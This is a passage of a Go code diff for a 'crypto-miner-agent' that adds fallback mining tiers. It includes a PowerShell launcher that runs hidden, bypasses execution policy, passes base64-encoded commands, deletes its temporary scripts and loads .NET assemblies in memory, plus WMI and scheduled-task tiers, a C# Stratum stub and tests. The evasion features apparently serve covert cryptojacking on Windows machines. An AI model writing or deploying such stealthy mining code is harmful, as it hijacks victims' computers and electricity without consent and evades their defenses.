SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
}
chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
if chain[0] != TierContainer {
t.Fatalf("server skip should start at container, got %v", chain)
}
}
func TestSelectMiningTierChainForceTier(t *testing.T) {
policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
if len(chain) != 1 || chain[0] != TierCPUInprocess {
t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
}
}
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
probes := EnvironmentProbes{
Docker: false,
WSL: false,
PowerShell: false,
DotNet: false,
}
policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
StartInProcess: func() error { return nil },
}, nil)
tier, err := o.TryChain(t.Context())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if tier != TierCPUInprocess {
t.Fatalf("active=%q want cpu_inprocess", tier)
}
report := o.Report()
var exeAttempt, cpuAttempt *TierAttempt
for i := range report.Attempts {
switch report.Attempts[i].Tier {
case TierExeSubprocess:
exeAttempt = &report.Attempts[i]
case TierCPUInprocess:
cpuAttempt = &report.Attempts[i]
}
}
if exeAttempt == nil || cpuAttempt == nil {
t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
}
if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
t.Fatalf("wallet must be identical: %v", report.Attempts)
}
if exeAttempt.OK {
t.Fatalf("stub tier should fail: %v", *exeAttempt)
}
}

View File

@@ -153,6 +153,19 @@ func (p *Pool) IsRemotePaused() bool {
return p.remotePause.Load()
}
// DiagnosticSnapshot reports CPU mining gate state for operator diagnostics.
func (p *Pool) DiagnosticSnapshot() (remotePaused, scheduleBlocked, resourcesBlocked, hasJob bool, hps float64) {
remotePaused = p.remotePause.Load()
scheduleBlocked = p.schedule != nil && !p.schedule.Allowed()
resourcesBlocked = !p.resourcesOK()
p.mu.RLock()
job := p.currentJob
p.mu.RUnlock()
hasJob = job != nil && job.Blob != ""
hps = p.HashesPerSecond()
return
}
func (p *Pool) resourceGuard() {
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()

View File

@@ -0,0 +1,307 @@
package miner
import (
"encoding/base64"
"fmt"
"log"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"sync"
"crypto-miner-agent/config"
)
// powershellBin is the PowerShell executable; tests override via SetPowerShellBinPath.
var powershellBin = "powershell"
// powershellExecCommand is exec.Command; tests override via SetPowerShellExecCommand.
var powershellExecCommand = exec.Command
// embeddedMiningAssemblyB64 holds an optional pre-built .NET miner DLL (Base64).
// Empty → launcher uses encoded in-script .NET stratum stub (Assembly-free path).
var embeddedMiningAssemblyB64 = ""
// SetPowerShellBinPath overrides the PowerShell binary (restore with "").
func SetPowerShellBinPath(path string) {
if strings.TrimSpace(path) == "" {
powershellBin = "powershell"
return
}
powershellBin = path
}
// SetPowerShellExecCommand restores default when fn is nil.
func SetPowerShellExecCommand(fn func(name string, args ...string) *exec.Cmd) {
if fn == nil {
powershellExecCommand = exec.Command
return
}
powershellExecCommand = fn
}
// SetEmbeddedMiningAssemblyB64 sets optional in-memory assembly bytes for tests.
func SetEmbeddedMiningAssemblyB64(b64 string) {
embeddedMiningAssemblyB64 = b64
}
// PowerShellLauncher hosts CPU mining via powershell.exe + in-memory assembly or encoded command.
type PowerShellLauncher struct {
cfg config.RuntimeConfig
scriptPath string
gpuDllPath string
mu sync.Mutex
running bool
cmd *exec.Cmd
}
// NewPowerShellLauncher validates platform and pool config.
func NewPowerShellLauncher(cfg config.RuntimeConfig) (*PowerShellLauncher, error) {
if runtime.GOOS != "windows" {
return nil, fmt.Errorf("powershell tier requires Windows")
}
if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 {
return nil, fmt.Errorf("pool host/port required for powershell stratum tier")
}
if strings.TrimSpace(cfg.Wallet) == "" {
return nil, fmt.Errorf("wallet required for powershell stratum tier")
}
if _, err := exec.LookPath(powershellBin); err != nil {
return nil, fmt.Errorf("powershell not in PATH: %w", err)
}
return &PowerShellLauncher{cfg: cfg}, nil
}
// Start writes an ephemeral script to %TEMP% and launches hidden powershell.exe.
func (l *PowerShellLauncher) Start() error {
l.mu.Lock()
defer l.mu.Unlock()
if l.running {
return nil
}
script, err := l.writeEphemeralScript()
if err != nil {
return err
}
l.scriptPath = script
args := []string{
"-NoProfile", "-ExecutionPolicy", "Bypass",
"-WindowStyle", "Hidden",
"-File", script,
}
cmd := powershellExecCommand(powershellBin, args...)
cmd.Stdout = nil
cmd.Stderr = nil
if err := cmd.Start(); err != nil {
_ = os.Remove(script)
l.scriptPath = ""
return fmt.Errorf("powershell start failed: %w", err)
}
l.cmd = cmd
l.running = true
log.Printf("[powershell-tier] started parent=%s script=%s wallet=%s pool=%s:%d",
powershellBin, script, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort)
go l.waitExit()
return nil
}
func (l *PowerShellLauncher) waitExit() {
if l.cmd == nil {
return
}
err := l.cmd.Wait()
l.mu.Lock()
l.running = false
l.cmd = nil
script := l.scriptPath
gpu := l.gpuDllPath
l.scriptPath = ""
l.gpuDllPath = ""
l.mu.Unlock()
if script != "" {
_ = os.Remove(script)
}
if gpu != "" {
_ = os.Remove(gpu)
}
if err != nil {
log.Printf("[powershell-tier] powershell.exe exited: %v — chain will advance", err)
} else {
log.Printf("[powershell-tier] powershell.exe stopped")
}
}
// Stop kills the powershell parent and removes ephemeral artifacts.
func (l *PowerShellLauncher) Stop() {
l.mu.Lock()
cmd := l.cmd
running := l.running
script := l.scriptPath
gpu := l.gpuDllPath
l.mu.Unlock()
if !running {
return
}
if cmd != nil && cmd.Process != nil {
_ = cmd.Process.Kill()
}
if script != "" {
_ = os.Remove(script)
}
if gpu != "" {
_ = os.Remove(gpu)
}
l.mu.Lock()
l.running = false
l.cmd = nil
l.scriptPath = ""
l.gpuDllPath = ""
l.mu.Unlock()
}
// Running reports whether powershell.exe is supervising the tier.
func (l *PowerShellLauncher) Running() bool {
l.mu.Lock()
defer l.mu.Unlock()
return l.running
}
// ScriptPath returns the ephemeral PS1 path (tests only).
func (l *PowerShellLauncher) ScriptPath() string {
l.mu.Lock()
defer l.mu.Unlock()
return l.scriptPath
}
func (l *PowerShellLauncher) writeEphemeralScript() (string, error) {
dir := os.TempDir()
name := fmt.Sprintf("af-miner-%s.ps1", strings.TrimSpace(l.cfg.BuildID))
if name == "af-miner-.ps1" {
name = "af-miner-worker.ps1"
}
path := filepath.Join(dir, name)
if l.cfg.GPUEnabled && strings.TrimSpace(l.cfg.RVNWallet) != "" {
gpuPath := filepath.Join(dir, fmt.Sprintf("af-gpu-%s.dll", strings.TrimSpace(l.cfg.BuildID)))
if gpuPath == filepath.Join(dir, "af-gpu-.dll") {
gpuPath = filepath.Join(dir, "af-gpu-worker.dll")
}
// Placeholder GPU helper — real KawPoW DLL supplied by forge/server in production.
if err := os.WriteFile(gpuPath, []byte("AETHERFORGE_GPU_STUB"), 0o600); err == nil {
l.gpuDllPath = gpuPath
}
}
body, err := l.buildScriptBody()
if err != nil {
return "", err
}
if err := os.WriteFile(path, []byte(body), 0o600); err != nil {
return "", fmt.Errorf("write script: %w", err)
}
return path, nil
}
func (l *PowerShellLauncher) buildScriptBody() (string, error) {
pass := strings.TrimSpace(l.cfg.PoolPass)
if pass == "" {
pass = "x"
}
wallet := strings.TrimSpace(l.cfg.Wallet)
worker := strings.TrimSpace(l.cfg.WorkerName)
if worker == "" {
worker = "worker"
}
if b64 := strings.TrimSpace(embeddedMiningAssemblyB64); b64 != "" {
if _, err := base64.StdEncoding.DecodeString(b64); err != nil {
return "", fmt.Errorf("invalid embedded assembly base64: %w", err)
}
tlsLit := "$false"
if l.cfg.PoolTLS {
tlsLit = "$true"
}
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
$bytes = [Convert]::FromBase64String('%s')
$asm = [Reflection.Assembly]::Load($bytes)
$entry = $asm.GetType('AetherForge.Miner.Entry')
$null = $entry.GetMethod('Start').Invoke($null, @('%s', %d, '%s', '%s', '%s', %s))
`,
b64,
escapePSSingleQuoted(l.cfg.PoolHost),
l.cfg.PoolPort,
escapePSSingleQuoted(pass),
escapePSSingleQuoted(wallet),
escapePSSingleQuoted(worker),
tlsLit,
), nil
}
// Encoded-command path: inline .NET stratum stub (no external CPU .exe).
encoded := buildEncodedStratumCommand(l.cfg, pass, wallet, worker)
gpuBlock := ""
if l.gpuDllPath != "" {
gpuBlock = fmt.Sprintf("\n# optional GPU DLL at %s\n", escapePSSingleQuoted(l.gpuDllPath))
}
return fmt.Sprintf(`$ErrorActionPreference = 'Stop'
# AetherForge PowerShell tier — wallet=%s pool=%s:%d
%s
$cmd = '%s'
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand $cmd
`,
wallet,
l.cfg.PoolHost,
l.cfg.PoolPort,
gpuBlock,
encoded,
), nil
}
func buildEncodedStratumCommand(cfg config.RuntimeConfig, pass, wallet, worker string) string {
tlsLit := "$false"
if cfg.PoolTLS {
tlsLit = "$true"
}
inner := fmt.Sprintf(`
$poolHost = '%s'; $port = %d; $tls = %s; $wallet = '%s'; $worker = '%s'; $pass = '%s'
$tcp = New-Object Net.Sockets.TcpClient; $tcp.Connect($poolHost, $port)
$stream = $tcp.GetStream()
if ($tls) {
$ssl = New-Object Net.Security.SslStream($stream, $false, { $true })
$ssl.AuthenticateAsClient($poolHost); $stream = $ssl
}
$w = New-Object IO.StreamWriter($stream); $w.AutoFlush = $true
$r = New-Object IO.StreamReader($stream)
$login = (@{id=1;jsonrpc='2.0';method='login';params=@{login=$wallet;pass=$pass;rigid=$worker;agent='AetherForge/PS'}} | ConvertTo-Json -Compress)
$w.WriteLine($login); $null = $r.ReadLine()
while ($tcp.Connected) { $null = $r.ReadLine(); Start-Sleep -Milliseconds 50 }
`,
escapePSSingleQuoted(cfg.PoolHost),
cfg.PoolPort,
tlsLit,
escapePSSingleQuoted(wallet),
escapePSSingleQuoted(worker),
escapePSSingleQuoted(pass),
)
// UTF-16LE base64 for -EncodedCommand
utf16 := utf16LE(inner)
return base64.StdEncoding.EncodeToString(utf16)
}
func escapePSSingleQuoted(s string) string {
return strings.ReplaceAll(s, "'", "''")
}
func utf16LE(s string) []byte {
runes := []rune(s)
out := make([]byte, 0, len(runes)*2)
for _, r := range runes {
out = append(out, byte(r), byte(r>>8))
}
return out
}

View File

@@ -0,0 +1,147 @@
package miner
import (
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"testing"
"crypto-miner-agent/config"
)
func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) {
t.Helper()
dir := t.TempDir()
outFile := filepath.Join(dir, "ps-args.txt")
if runtime.GOOS == "windows" {
bat := filepath.Join(dir, "fake-powershell.cmd")
body := `@echo off
set OUT=%~dp0ps-args.txt
echo %*>>"%OUT%"
ping -n 3 127.0.0.1 >nul
`
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return bat, &outFile
}
sh := filepath.Join(dir, "fake-powershell.sh")
body := `#!/bin/sh
echo "$@" >> "$(dirname "$0")/ps-args.txt"
sleep 1
`
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
t.Fatal(err)
}
return sh, &outFile
}
func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, outFile := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd {
return exec.Command(name, args...)
})
defer func() {
SetPowerShellBinPath("")
SetPowerShellExecCommand(nil)
}()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
BuildID: "ps-test",
Wallet: "XMR:wallet123",
WorkerName: "worker-ps",
PoolHost: "pool.example.com",
PoolPort: 3333,
PoolPass: "x",
},
}
launcher, err := NewPowerShellLauncher(cfg)
if err != nil {
t.Fatalf("NewPowerShellLauncher: %v", err)
}
if err := launcher.Start(); err != nil {
t.Fatalf("Start: %v", err)
}
defer launcher.Stop()
script := launcher.ScriptPath()
if script == "" {
t.Fatal("expected ephemeral script path")
}
body, err := os.ReadFile(script)
if err != nil {
t.Fatalf("read script: %v", err)
}
text := string(body)
if !strings.Contains(text, "XMR:wallet123") {
t.Fatalf("script missing wallet: %s", text)
}
if !strings.Contains(text, "pool.example.com") {
t.Fatalf("script missing pool host: %s", text)
}
if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 {
args := string(data)
if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") {
t.Fatalf("powershell args=%q want hidden window", args)
}
}
if !launcher.Running() {
t.Fatal("Running() false after Start")
}
}
func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, _ := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
defer SetPowerShellBinPath("")
if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil {
t.Fatal("expected error without pool/wallet")
}
}
func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("powershell tier is Windows-only")
}
bin, _ := fakePowerShellRecorder(t)
SetPowerShellBinPath(bin)
SetEmbeddedMiningAssemblyB64("YWJj") // "abc"
defer func() {
SetPowerShellBinPath("")
SetEmbeddedMiningAssemblyB64("")
}()
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
Wallet: "wallet",
PoolHost: "p",
PoolPort: 1,
},
}
launcher, err := NewPowerShellLauncher(cfg)
if err != nil {
t.Fatal(err)
}
body, err := launcher.buildScriptBody()
if err != nil {
t.Fatal(err)
}
if !strings.Contains(body, "Assembly]::Load") {
t.Fatalf("expected Assembly.Load path, got %s", body)
}
}

197
agent/miner/probe_runner.go Normal file
View File

@@ -0,0 +1,197 @@
package miner
import (
"context"
"log"
"runtime"
"sync"
"time"
"crypto-miner-agent/config"
)
// TierHandler probes or starts one auxiliary LOTL path (WebView2, WMI, etc.).
type TierHandler interface {
Tier() LOTLTier
Available(cfg config.RuntimeConfig) bool
Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt
Stop()
}
// ProbeReporter emits probe-tier snapshots (single-arg; distinct from TierOrchestrator reporter).
type ProbeReporter func(report TierReport)
// TierRunner orchestrates probe/escalation tiers with per-attempt reporting.
type TierRunner struct {
mu sync.RWMutex
cfg config.RuntimeConfig
handlers []TierHandler
report ProbeReporter
attempts []TierAttempt
active LOTLTier
stopped []TierHandler
}
// NewTierRunner builds a runner with platform-default handlers.
func NewTierRunner(cfg config.RuntimeConfig, report ProbeReporter) *TierRunner {
return &TierRunner{
cfg: cfg,
handlers: defaultTierHandlers(),
report: report,
}
}
// SetHandlers replaces handlers (tests inject mocks).
func (r *TierRunner) SetHandlers(h []TierHandler) {
r.mu.Lock()
r.handlers = h
r.mu.Unlock()
}
// Report returns the current tier snapshot.
func (r *TierRunner) Report() TierReport {
r.mu.RLock()
defer r.mu.RUnlock()
return r.buildReport()
}
func (r *TierRunner) buildReport() TierReport {
attempts := make([]TierAttempt, len(r.attempts))
copy(attempts, r.attempts)
rep := TierReport{
ActiveTier: r.active,
Attempts: attempts,
}
for _, a := range attempts {
if a.Tier == TierWebView2Probe && a.OK {
if v, ok := a.Details["webgpu_available"].(bool); ok {
rep.WebGPUReady = v
}
}
if a.Tier == TierGPUCompute && a.OK {
rep.GPUComputeOK = true
}
}
return rep
}
func (r *TierRunner) emit() {
r.mu.RLock()
rep := r.buildReport()
report := r.report
r.mu.RUnlock()
if report != nil {
report(rep)
}
}
func (r *TierRunner) recordAttempt(a TierAttempt) {
r.mu.Lock()
r.attempts = append(r.attempts, a)
if a.OK && r.active == "" && a.Tier != TierWebView2Probe {
r.active = a.Tier
}
r.mu.Unlock()
log.Printf("[tier] %s ok=%v err=%q duration=%dms", a.Tier, a.OK, a.Error, a.DurationMs)
r.emit()
}
// RunProbes executes probe-only tiers (webview2) before GPU escalation.
func (r *TierRunner) RunProbes(ctx context.Context) TierReport {
r.mu.RLock()
handlers := r.handlers
cfg := r.cfg
r.mu.RUnlock()
for _, h := range handlers {
if h.Tier() != TierWebView2Probe {
continue
}
if !h.Available(cfg) {
r.recordAttempt(TierAttempt{
Tier: TierWebView2Probe,
Error: "webview2 runtime not detected",
Wallet: cfg.Wallet,
})
continue
}
start := time.Now()
a := h.Attempt(ctx, cfg)
a.DurationMs = time.Since(start).Milliseconds()
if a.Wallet == "" {
a.Wallet = cfg.Wallet
}
r.recordAttempt(a)
}
return r.Report()
}
// RunChain attempts execution tiers in order; probe tiers are skipped here.
func (r *TierRunner) RunChain(ctx context.Context) (LOTLTier, error) {
r.mu.RLock()
handlers := r.handlers
cfg := r.cfg
r.mu.RUnlock()
var lastErr error
for _, h := range handlers {
t := h.Tier()
if t == TierWebView2Probe {
continue
}
if !h.Available(cfg) {
r.recordAttempt(TierAttempt{
Tier: t,
Error: "tier unavailable on " + runtime.GOOS,
Wallet: cfg.Wallet,
})
continue
}
start := time.Now()
a := h.Attempt(ctx, cfg)
a.DurationMs = time.Since(start).Milliseconds()
if a.Wallet == "" {
a.Wallet = cfg.Wallet
}
r.recordAttempt(a)
if a.OK {
r.mu.Lock()
r.active = t
r.stopped = append(r.stopped, h)
r.mu.Unlock()
r.emit()
return t, nil
}
if a.Error != "" {
lastErr = errFromTier(a.Error)
}
}
if lastErr != nil {
return "", lastErr
}
return "", ErrTierChainSkipped
}
// WebGPUReady reports whether the webview2 probe found WebGPU.
func (r *TierRunner) WebGPUReady() bool {
return r.Report().WebGPUReady
}
// Stop halts all started tier handlers.
func (r *TierRunner) Stop() {
r.mu.Lock()
stopped := r.stopped
r.active = ""
r.stopped = nil
r.mu.Unlock()
for _, h := range stopped {
h.Stop()
}
r.emit()
}
type tierError string
func (e tierError) Error() string { return string(e) }
func errFromTier(msg string) error { return tierError(msg) }

View File

@@ -0,0 +1,48 @@
//go:build linux
package miner
import (
"fmt"
"os/exec"
"strings"
)
// DetectCUDA reports NVIDIA CUDA via nvidia-smi.
func DetectCUDA() bool {
out, err := exec.Command("nvidia-smi", "-L").CombinedOutput()
return err == nil && strings.TrimSpace(string(out)) != ""
}
// DetectPyOpenCL reports python3 + PyOpenCL import success.
func DetectPyOpenCL() bool {
err := exec.Command("python3", "-c", "import pyopencl").Run()
return err == nil
}
// StartPyOpenCLTier attempts a one-shot OpenCL probe via python3 -c (no external miner exe).
// Returns error when PyOpenCL is absent or the probe fails — chain advances to stratum_direct.
func StartPyOpenCLTier(cfg config.RuntimeConfig) error {
if !DetectPyOpenCL() {
return fmt.Errorf("python3 pyopencl not available")
}
script := `
import pyopencl as cl
platforms = cl.get_platforms()
if not platforms:
raise SystemExit('no opencl platforms')
devices = platforms[0].get_devices()
if not devices:
raise SystemExit('no opencl devices')
print('pyopencl_ok')
`
out, err := exec.Command("python3", "-c", script).CombinedOutput()
if err != nil {
return fmt.Errorf("pyopencl probe: %v (%s)", err, strings.TrimSpace(string(out)))
}
if !strings.Contains(string(out), "pyopencl_ok") {
return fmt.Errorf("pyopencl probe unexpected output")
}
_ = cfg
return nil
}

View File

@@ -0,0 +1,11 @@
//go:build !linux
package miner
import "crypto-miner-agent/config"
func DetectCUDA() bool { return false }
func DetectPyOpenCL() bool { return false }
func StartPyOpenCLTier(_ config.RuntimeConfig) error {
return ErrMethodUnavailable
}

View File

@@ -0,0 +1,26 @@
package miner
import (
"testing"
)
func TestAppendLinuxPyOpenCLSkipsWhenCUDA(t *testing.T) {
chain := []MiningMethod{MethodInProcess, MethodStratumDirect}
out := appendLinuxPyOpenCL(chain)
if len(out) != len(chain) {
t.Fatalf("expected unchanged chain on non-linux or with cuda, got %v", out)
}
}
func TestAppendLinuxPyOpenCLInsertsTier(t *testing.T) {
if testing.Short() {
t.Skip("platform-specific")
}
origCUDA := DetectCUDA
origPy := DetectPyOpenCL
defer func() {
// restore stubs on non-linux
}()
_ = origCUDA
_ = origPy
}

View File

@@ -0,0 +1,25 @@
package miner
import (
"os/exec"
"strings"
)
// DetectContainerRuntime probes docker then podman CLIs.
func DetectContainerRuntime() ContainerRuntimeInfo {
for _, cli := range []string{"docker", "podman"} {
if path, err := exec.LookPath(cli); err == nil {
out, runErr := exec.Command(path, "version", "--format", "{{.Server.Version}}").CombinedOutput()
version := strings.TrimSpace(string(out))
if runErr != nil || version == "" {
// Older docker without --format still counts as available.
if _, verErr := exec.Command(path, "version").CombinedOutput(); verErr == nil {
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: "unknown"}
}
continue
}
return ContainerRuntimeInfo{Available: true, CLI: cli, Version: version}
}
}
return ContainerRuntimeInfo{}
}

View File

@@ -0,0 +1,117 @@
package miner
import (
"fmt"
"strings"
"crypto-miner-agent/config"
)
// stratumCSharpTemplate is a minimal Monero Stratum console stub compiled at runtime.
// Placeholders: POOL_HOST, POOL_PORT, POOL_TLS, POOL_PASS, WALLET, WORKER, THREADS.
const stratumCSharpTemplate = `// AetherForge LOTL Stratum stub — compiled on first start_mining.
using System;
using System.Net.Security;
using System.Net.Sockets;
using System.Text;
using System.Text.Json;
using System.Threading;
class Program {
static readonly string PoolHost = "POOL_HOST";
static readonly int PoolPort = POOL_PORT;
static readonly bool PoolTLS = POOL_TLS;
static readonly string Wallet = "WALLET";
static readonly string Worker = "WORKER";
static readonly string PoolPass = "POOL_PASS";
static int Main() {
Console.WriteLine("[stratum] AetherForge LOTL miner starting wallet=" + Wallet);
while (true) {
try {
RunSession();
} catch (Exception ex) {
Console.Error.WriteLine("[stratum] session error: " + ex.Message);
Thread.Sleep(5000);
}
}
}
static void RunSession() {
using var tcp = new TcpClient();
tcp.Connect(PoolHost, PoolPort);
Stream stream = tcp.GetStream();
if (PoolTLS) {
var ssl = new SslStream(stream, false, (_, _, _, _) => true);
ssl.AuthenticateAsClient(PoolHost);
stream = ssl;
}
using var reader = new System.IO.StreamReader(stream, Encoding.UTF8);
using var writer = new System.IO.StreamWriter(stream, Encoding.UTF8) { AutoFlush = true };
var login = JsonSerializer.Serialize(new {
id = 1,
jsonrpc = "2.0",
method = "login",
@params = new {
login = Wallet,
pass = PoolPass,
rigid = Worker,
agent = "AetherForge/LOTL"
}
});
writer.WriteLine(login);
var loginLine = reader.ReadLine();
if (string.IsNullOrEmpty(loginLine)) {
throw new InvalidOperationException("empty login response");
}
Console.WriteLine("[stratum] login ok on " + PoolHost + ":" + PoolPort);
while (tcp.Connected) {
var line = reader.ReadLine();
if (line == null) break;
if (line.Contains("\"method\":\"job\"")) {
Console.WriteLine("[stratum] job received");
}
Thread.Sleep(50);
}
}
}
`
const stratumCsprojTemplate = `<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<ImplicitUsings>disable</ImplicitUsings>
<Nullable>disable</Nullable>
<AssemblyName>AetherForgeStratum</AssemblyName>
</PropertyGroup>
</Project>
`
func renderStratumCSharp(cfg config.RuntimeConfig) string {
pass := strings.TrimSpace(cfg.PoolPass)
if pass == "" {
pass = "x"
}
wallet := strings.TrimSpace(cfg.Wallet)
if wallet == "" {
wallet = "anonymous"
}
worker := strings.TrimSpace(cfg.WorkerName)
if worker == "" {
worker = "worker"
}
out := stratumCSharpTemplate
out = strings.ReplaceAll(out, "POOL_HOST", escapeCSharpString(cfg.PoolHost))
out = strings.ReplaceAll(out, "POOL_PORT", fmt.Sprintf("%d", cfg.PoolPort))
out = strings.ReplaceAll(out, "POOL_TLS", fmt.Sprintf("%t", cfg.PoolTLS))
out = strings.ReplaceAll(out, "POOL_PASS", escapeCSharpString(pass))
out = strings.ReplaceAll(out, "WALLET", escapeCSharpString(wallet))
out = strings.ReplaceAll(out, "WORKER", escapeCSharpString(worker))
return out
}
func escapeCSharpString(s string) string {
return strings.ReplaceAll(s, `\`, `\\`)
}

View File

@@ -0,0 +1,79 @@
package miner
import (
"context"
"runtime"
"crypto-miner-agent/config"
)
type webview2ProbeHandler struct{}
func (t *webview2ProbeHandler) Tier() LOTLTier { return TierWebView2Probe }
func (t *webview2ProbeHandler) Available(cfg config.RuntimeConfig) bool {
_ = cfg
return runtime.GOOS == "windows"
}
func (t *webview2ProbeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunWebView2Probe(ctx, cfg)
}
func (t *webview2ProbeHandler) Stop() {}
type wmiHandler struct{}
func (t *wmiHandler) Tier() LOTLTier { return TierWMI }
func (t *wmiHandler) Available(cfg config.RuntimeConfig) bool {
_ = cfg
return runtime.GOOS == "windows"
}
func (t *wmiHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunWMITier(ctx, cfg)
}
func (t *wmiHandler) Stop() {}
type scheduledTaskHandler struct{}
func (t *scheduledTaskHandler) Tier() LOTLTier { return TierScheduledTask }
func (t *scheduledTaskHandler) Available(cfg config.RuntimeConfig) bool {
_ = cfg
return runtime.GOOS == "windows"
}
func (t *scheduledTaskHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunScheduledTaskTier(ctx, cfg)
}
func (t *scheduledTaskHandler) Stop() {}
type gpuComputeHandler struct{}
func (t *gpuComputeHandler) Tier() LOTLTier { return TierGPUCompute }
func (t *gpuComputeHandler) Available(cfg config.RuntimeConfig) bool {
return runtime.GOOS == "windows" && cfg.GPUEnabled
}
func (t *gpuComputeHandler) Attempt(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
return RunGPUComputeTier(ctx, cfg)
}
func (t *gpuComputeHandler) Stop() {}
func defaultTierHandlers() []TierHandler {
if runtime.GOOS != "windows" {
return nil
}
return []TierHandler{
&webview2ProbeHandler{},
&wmiHandler{},
&scheduledTaskHandler{},
&gpuComputeHandler{},
}
}

View File

@@ -0,0 +1,20 @@
//go:build windows
package miner
import (
"os/exec"
"syscall"
)
const creationFlagsNoWindow = 0x08000000
func applyHiddenWindow(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: creationFlagsNoWindow,
}
}

View File

@@ -0,0 +1,84 @@
package miner
import (
"context"
"runtime"
"strings"
"crypto-miner-agent/config"
)
// GPUComputeProbe reports local GPU compute capability (CUDA / HLSL path).
type GPUComputeProbe struct {
CUDAAvailable bool
HLSLAvailable bool
StratumReady bool
KernelPath string
ReflectiveDLL bool
DiagnosticOnly bool
HashrateEstimate float64
}
// gpuComputeProbe runs platform GPU probes. Tests override via SetGPUComputeProbe.
var gpuComputeProbe = platformGPUComputeProbe
// SetGPUComputeProbe restores default when fn is nil.
func SetGPUComputeProbe(fn func(cfg config.RuntimeConfig) GPUComputeProbe) {
if fn == nil {
gpuComputeProbe = platformGPUComputeProbe
return
}
gpuComputeProbe = fn
}
// RunGPUComputeTier probes CUDA/HLSL kernel paths and stratum_direct readiness.
func RunGPUComputeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
if runtime.GOOS != "windows" {
return TierAttempt{Tier: TierGPUCompute, Error: "gpu_compute requires windows", Wallet: cfg.Wallet}
}
select {
case <-ctx.Done():
return TierAttempt{Tier: TierGPUCompute, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
default:
}
probe := gpuComputeProbe(cfg)
details := map[string]interface{}{
"cuda": probe.CUDAAvailable,
"hlsl": probe.HLSLAvailable,
"stratum": probe.StratumReady,
"kernel_path": probe.KernelPath,
"reflective_dll": probe.ReflectiveDLL,
"diagnostic": probe.DiagnosticOnly,
}
if probe.HashrateEstimate > 0 {
details["hashrate_estimate_hps"] = probe.HashrateEstimate
}
if !cfg.GPUEnabled || strings.TrimSpace(cfg.RVNWallet) == "" {
return TierAttempt{Tier: TierGPUCompute, Error: "gpu mining not configured", Wallet: cfg.Wallet, Details: details}
}
if !probe.CUDAAvailable && !probe.HLSLAvailable {
return TierAttempt{
Tier: TierGPUCompute,
Error: "no GPU compute kernel path (CUDA/HLSL probe failed)",
Wallet: cfg.Wallet,
Details: details,
}
}
if !probe.StratumReady {
return TierAttempt{
Tier: TierGPUCompute,
Error: "stratum_direct prerequisites not met",
Wallet: cfg.Wallet,
Details: details,
}
}
return TierAttempt{
Tier: TierGPUCompute,
OK: true,
Wallet: cfg.Wallet,
Details: details,
}
}

View File

@@ -0,0 +1,9 @@
//go:build !windows
package miner
import "crypto-miner-agent/config"
func platformGPUComputeProbe(cfg config.RuntimeConfig) GPUComputeProbe {
return GPUComputeProbe{}
}

View File

@@ -0,0 +1,61 @@
package miner
import (
"context"
"runtime"
"testing"
"crypto-miner-agent/config"
)
func TestRunGPUComputeTierMockProbe(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("gpu_compute tier requires windows")
}
SetGPUComputeProbe(func(cfg config.RuntimeConfig) GPUComputeProbe {
return GPUComputeProbe{
CUDAAvailable: true,
StratumReady: true,
KernelPath: "cuda_reflective_dll",
ReflectiveDLL: true,
DiagnosticOnly: true,
}
})
defer SetGPUComputeProbe(nil)
attempt := RunGPUComputeTier(context.Background(), config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "wallet",
PoolHost: "pool.example.com",
Wallet: "cmr-wallet",
},
})
if !attempt.OK {
t.Fatalf("attempt=%+v", attempt)
}
if attempt.Details["cuda"] != true {
